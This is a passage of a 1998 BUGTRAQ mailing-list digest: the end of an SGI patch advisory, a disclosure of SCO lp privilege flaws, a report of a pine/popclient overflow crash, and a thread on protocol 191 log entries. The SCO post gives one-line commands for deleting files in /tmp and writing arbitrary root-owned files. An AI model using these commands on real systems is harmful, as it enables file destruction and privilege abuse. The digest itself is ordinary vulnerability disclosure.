Algorithm #1 (sum -r): 58631 288 patchSG0002741.eoe_sw
Algorithm #2 (sum): 45800 288 patchSG0002741.eoe_sw
MD5 checksum: 8A9E3015CC9D083303234967E1CA95AE
Filename: patchSG0002741.idb
Algorithm #1 (sum -r): 14226 1 patchSG0002741.idb
Algorithm #2 (sum): 34771 1 patchSG0002741.idb
MD5 checksum: C7154177CF69C7140A2B965D0C97CC08
Filename: README.patch.3117
Algorithm #1 (sum -r): 31458 30 README.patch.3117
Algorithm #2 (sum): 20680 30 README.patch.3117
MD5 checksum: AA5C247E1BAD0AE44D4D52C74712FC7F
Filename: patch3117.pgp.and.chksums
Algorithm #1 (sum -r): 00000 0 patch3117.pgp.and.chksums
Algorithm #2 (sum): 0 0 patch3117.pgp.and.chksums
MD5 checksum: D41D8CD98F00B204E9800998ECF8427E
Filename: patchSG0003117
Algorithm #1 (sum -r): 30144 14 patchSG0003117
Algorithm #2 (sum): 28648 14 patchSG0003117
MD5 checksum: 936433D0D84DCFE1ECA5495B43D5A855
Filename: patchSG0003117.eoe_man
Algorithm #1 (sum -r): 60740 74 patchSG0003117.eoe_man
Algorithm #2 (sum): 15611 74 patchSG0003117.eoe_man
MD5 checksum: C45B59724AC5F81F5960BE78104A6B9E
Filename: patchSG0003117.eoe_sw
Algorithm #1 (sum -r): 10439 1975 patchSG0003117.eoe_sw
Algorithm #2 (sum): 1394 1975 patchSG0003117.eoe_sw
MD5 checksum: B12BCB4F7EB71EFEBE6E1E8F9270AFEB
Filename: patchSG0003117.eoe_sw64
Algorithm #1 (sum -r): 55729 104 patchSG0003117.eoe_sw64
Algorithm #2 (sum): 46796 104 patchSG0003117.eoe_sw64
MD5 checksum: 35477907C33C9489EE1AC55291979B9D
Filename: patchSG0003117.idb
Algorithm #1 (sum -r): 40506 15 patchSG0003117.idb
Algorithm #2 (sum): 62723 15 patchSG0003117.idb
MD5 checksum: 76F6F7CF90D83ED2547C28689B4FA7BE
Filename: patchSG0003117.netman_data_man
Algorithm #1 (sum -r): 56900 15 patchSG0003117.netman_data_man
Algorithm #2 (sum): 58999 15 patchSG0003117.netman_data_man
MD5 checksum: 42BEB35E700813967F637E9BB0640385
Filename: patchSG0003117.nfs_man
Algorithm #1 (sum -r): 05186 17 patchSG0003117.nfs_man
Algorithm #2 (sum): 21113 17 patchSG0003117.nfs_man
MD5 checksum: F090E7476C01DC64F12F3A094EFAD64B
Filename: patchSG0003117.nfs_sw
Algorithm #1 (sum -r): 38617 73 patchSG0003117.nfs_sw
Algorithm #2 (sum): 63548 73 patchSG0003117.nfs_sw
MD5 checksum: 7AEE5EF7B5C4A8F316EC4CA5A2CCA453
Filename: README.patch.3123
Algorithm #1 (sum -r): 07822 7 README.patch.3123
Algorithm #2 (sum): 18842 7 README.patch.3123
MD5 checksum: 81D840AE11A6F1D7F8B85AA23B9A538B
Filename: patchSG0003123
Algorithm #1 (sum -r): 56712 1 patchSG0003123
Algorithm #2 (sum): 27329 1 patchSG0003123
MD5 checksum: 63D458B968B7AC5FF5449D8C11BEE11E
Filename: patchSG0003123.eoe2_sw
Algorithm #1 (sum -r): 36459 289 patchSG0003123.eoe2_sw
Algorithm #2 (sum): 21988 289 patchSG0003123.eoe2_sw
MD5 checksum: 41A07B779A229785903F405F288D5F60
Filename: patchSG0003123.idb
Algorithm #1 (sum -r): 05460 1 patchSG0003123.idb
Algorithm #2 (sum): 35446 1 patchSG0003123.idb
MD5 checksum: 56E9772636EECE067EAA9E0F568A14D8
- -------------------------
- ---- Acknowledgments ---
- -------------------------
Silicon Graphics wishes to thank the CERT Coordination Center for their
assistance in this matter.
- ------------------------------------------------------------
- ---- Silicon Graphics Inc. Security Information/Contacts ---
- ------------------------------------------------------------
If there are questions about this document, email can be sent to
cse-security-alert@sgi.com.
------oOo------
Silicon Graphics provides security information and patches for
use by the entire SGI community. This information is freely
available to any person needing the information and is available
via anonymous FTP and the Web.
The primary SGI anonymous FTP site for security information and patches
is sgigate.sgi.com (204.94.209.1). Security information and patches
are located under the directories ~ftp/security and ~ftp/patches,
respectively. The Silicon Graphics Security Headquarters Web page is
accessible at the URL http://www.sgi.com/Support/security/security.html.
For issues with the patches on the FTP sites, email can be sent to
cse-security-alert@sgi.com.
For assistance obtaining or working with security patches, please
contact your SGI support provider.
------oOo------
Silicon Graphics provides a free security mailing list service
called wiretap and encourages interested parties to self-subscribe
to receive (via email) all SGI Security Advisories when they are
released. Subscribing to the mailing list can be done via the Web
(http://www.sgi.com/Support/security/wiretap.html) or by sending email
to SGI as outlined below.
% mail wiretap-request@sgi.com
subscribe wiretap
end
^d
In the example above, is the email address that you
wish the mailing list information sent to. The word end must be on a
separate line to indicate the end of the body of the message. The
control-d (^d) is used to indicate to the mail program that you are
finished composing the mail message.
------oOo------
Silicon Graphics provides a comprehensive customer World Wide Web site.
This site is located at http://www.sgi.com/Support/security/security.html.
------oOo------
For reporting *NEW* SGI security issues, email can be sent to
security-alert@sgi.com or contact your SGI support provider. A
support contract is not required for submitting a security report.
______________________________________________________________________________
This information is provided freely to all interested parties and may
be redistributed provided that it is not altered in any way, Silicon
Graphics is appropriately credited and the document retains and
includes its valid PGP signature.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNYlOULQ4cFApAP75AQFHtQQAlI/QJo1VpfAuPu7eYs09GYAkvt9Z8EEE
6UfWdL9gnTCrKnwAE7r2S8YQuV7YEK+nO7h9OMve4egc6Y+eOsa7wokuMawl/ot9
cf4EvPNUnuXMkwaSuuCzDXsdX5WpPdhpOX74z+TFQgX59l9ULbL097D34gZL4hhJ
sqA28mPYdqM=
=+/IU
-----END PGP SIGNATURE-----
------------------------------
Date: Thu, 18 Jun 1998 15:00:45 -0300
From: Marco Paganini
Subject: Security problems on SCO's lp subsystem
-----BEGIN PGP SIGNED MESSAGE-----
Hello!
While casually looking for SETUID binaries in a newly installed
SCO 5.0.2 box, I have discovered that normal users with lp access
(the default) may cause headaches to the system administrador.
Details:
System: SCO 5.0.2 Enterprise (5.0.4 too?)
Plain Vanilla Intel Server
OK. We are all clean.
Exploit 1)
Normal users can remove text files under /tmp. The lp command won't even
try to "print" (and remove afterwards) binary or executable programs.
There may be a way around this, but I haven't tried to find it.
$ lp -R /tmp/text_file_to_be_removed
The switch -R causes the removal of the file, after printing.
This exploit won't work in dirs that don't have the sticky bit set.
Exploit 2)
This is even better, but only works if your lp subsystem has a file named
/var/spool/lpd/lock. With this file in place, the lp command will enable
the "-L live" option. With this, you can write to *any* file in the system.
And even better, the file will be mode 600, owned by root...
Just do:
$ lp -L live=/any_file_in_the_system
blablabla
^D
And that's it. You can type anything you want/need.
I'd like to know if these problems are still valid on 5.0.4. I couldn't
find any mention of this problem on the SCO site. Older versions of SCO
may exhibit this problem, since many of these have /usr/bin/lp setuid to
root.
Regards
Paganini
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3in
Charset: latin1
iQCVAwUBNYlHbc6C8KwDKBjZAQEVPAP+K6B07p/0XRBHqrOLqq3vUsf/vRmuDZnr
3xguLKKoI2uFQlgQKp0Za2K9B9kB0eVNml0fsevN1YuaAmDVrclG2l/tDc/OZg9r
PuKzoUZTy1FMA0NNE5e+/cVxrCSBjO7UpxSSozWQZTUD9DbnLEqhj7NXYTSTCNb/
S/yptRYXBaQ=
=ItpN
-----END PGP SIGNATURE-----
--
Marco Paganini | UNIX / Networking consultant
paganini@paganini.net | PGP: http://www.paganini.net/pgpkey.txt (RSA)
http://www.paganini.net | Fingerprint: 8734555AEDCF04D3A2E3A98A34E253D9
------------------------------
Date: Thu, 18 Jun 1998 14:46:00 -0400
From: "Phillip R. Jaenke"
Subject: Re: another remote pine vunerability
On Wed, 17 Jun 1998, Michal Zalewski wrote:
> Recently I found silly remote overflow in pine. It's so simple there's no
> need to describe it:
>
> From: Michal Zalewski AAAAAAAAAAAAAAA>
>
> ...and any attempt of reading this mail will cause:
>
> Program received signal SIGSEGV, Segmentation fault.
> 0x41414141 in ?? ()
Also, attempting to so much as download *THIS* email I'm quoting here will
cause a panic in 'popclient.' pine is fine, but popclient can't retrieve
email past this message.
> RETR 9
+OK 3897 octets.
(56 lines of message content)
> DELE 1094795585
doPOP3: cleanUp: Bad file descriptor
The only way to get rid of the offending message is by hand. I'd say we've
stumbled on to something that could be rather painful.
--Phillip R. Jaenke (prj@nls.net - InterNIC: PRJ5)
Head Geek, Linux@Comdex Project - http://comdex.linuxos.org/
TheGuyInCharge(tm), Ketyra Designs, Inc.
"For every step I take, I find somebody stepping on my heels." --anonymous
"That's IT! I'm gonna slap Dr.Watson with a malpractice suit!!" --Keihra
! I reserve the right to bill spammers for my time and disk space !
------------------------------
Date: Thu, 18 Jun 1998 14:31:15 -0400
From: Ken Williams
Subject: Re: protocol 191?
hi,
protocol 191 is commonly used on Ascend routers for the Prospero Directory
Service. not used on any Cisco routers, as far as i know. 191 is used in
Sun environments for the Note Manager Object also, though. i have done a
bit of research and have not found anything on vulnerabilities or exploits
related to protocol 191. for reference, 191 is generally not used much
any more, with the two exceptions noted above.
regards,
Ken Williams
Packet Storm Security http://www.Genocide2600.com/~tattooman/index.shtml
VP of E.H.A.P. Corp. http://www.ehap.org/ ehap@ehap.org
NC State Comp Sci Dept http://www4.ncsu.edu/~jkwilli2/
PGP DSS & RSA Keys: http://www.genocide2600.com/cgi-bin/finger?tattooman
On Wed, 17 Jun 1998, Il Oh wrote:
>I've been looking over my cisco filter logs with a paranoid eye ever
>since named crashed on both my name servers. It's actually been very
>educational.
>
>I saw something the other day that I haven't been able to get any
>information on. It was a bunch of broadcast packets listed as protocol
>191. RFC 1700 lists protocols 101-254 as "unassigned".
>
>There was a single broadcast packet for each of my class C networks.
>
>Does anyone have any information about this?
>
>Here are the entries from my log:
>
>Jun 10 00:41:21 shaft.wii.com 58878: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:22 shaft.wii.com 58879: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:23 shaft.wii.com 58880: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:24 shaft.wii.com 58881: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:25 shaft.wii.com 58882: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:25 shaft.wii.com 58883: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:27 shaft.wii.com 58884: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:27 shaft.wii.com 58885: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:29 shaft.wii.com 58886: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:29 shaft.wii.com 58887: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:31 shaft.wii.com 58888: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:32 shaft.wii.com 58889: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:34 shaft.wii.com 58890: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:35 shaft.wii.com 58891: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:36 shaft.wii.com 58892: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:38 shaft.wii.com 58894: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:41 shaft.wii.com 58895: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:42 shaft.wii.com 58896: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:44 shaft.wii.com 58897: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:44 shaft.wii.com 58898: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:45 shaft.wii.com 58899: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:46 shaft.wii.com 58900: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:47 shaft.wii.com 58901: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:49 shaft.wii.com 58902: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:49 shaft.wii.com 58903: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:50 shaft.wii.com 58904: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:51 shaft.wii.com 58905: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>Jun 10 00:41:53 shaft.wii.com 58906: %SEC-6-IPACCESSLOGNP: list 101 denied
>191 -> , 1 packet
>
------------------------------
End of BUGTRAQ Digest - 17 Jun 1998 to 18 Jun 1998
**************************************************